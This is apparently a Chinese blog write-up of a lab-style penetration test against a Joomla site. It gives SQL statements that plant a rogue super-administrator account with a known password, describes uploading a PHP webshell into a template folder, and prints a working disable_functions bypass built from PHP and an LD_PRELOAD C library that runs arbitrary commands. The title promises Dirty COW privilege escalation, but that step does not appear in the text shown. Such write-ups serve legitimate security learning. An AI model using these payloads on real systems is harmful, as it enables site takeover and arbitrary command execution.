joomla渗透测试（脏牛提权）

最新推荐文章于 2023-11-30 17:15:11 发布

HyyMbb

最新推荐文章于 2023-11-30 17:15:11 发布

阅读量1k

点赞数

分类专栏：渗透测试

本文链接：https://blog.csdn.net/a3320315/article/details/106133091

版权

渗透测试专栏收录该内容

10 篇文章 0 订阅

订阅专栏

本来是个域渗透，不过环境有问题，就当作web题在做了

解题过程

在这里插入图片描述这是一个joomla cms

连接mysql
得到MySQL的账号和密码
在这里插入图片描述然后创建新的管理员

 INSERT INTO `am2zu_users` (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());

INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');

这儿创建的管理员账号为admin2 secret
不同的网站对应不同的前缀，改一下前缀即可

登录后台，上传shell
访问/templates/beez3//HyyMBb.php，即可getshell

绕过disable_function
上传cmd.php

 <?php
#move_uploaded_file($_FILES['evil']['tmp_name'], '/var/www/html/admin/shells/fEsiIOZ6Eup6pSW6/evil.so');
putenv('LD_PRELOAD=/tmp/evil.so');
putenv("_evilcmd=ls");
mail('a','a','a');
echo file_get_contents('/tmp/result.txt');
?>

编译evil.c然后上传到/tmp目录下

/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload(char *cmd) {
  char buf[512];
  strcpy(buf, cmd);
  strcat(buf, " > /tmp/result.txt");
  system(buf);}

int getuid() {
  char *cmd;
  if (getenv("LD_PRELOAD") == NULL) { return 0; }
  unsetenv("LD_PRELOAD");
  if ((cmd = getenv("_evilcmd")) != NULL) {
    payload(cmd);
  }
  return 1;
}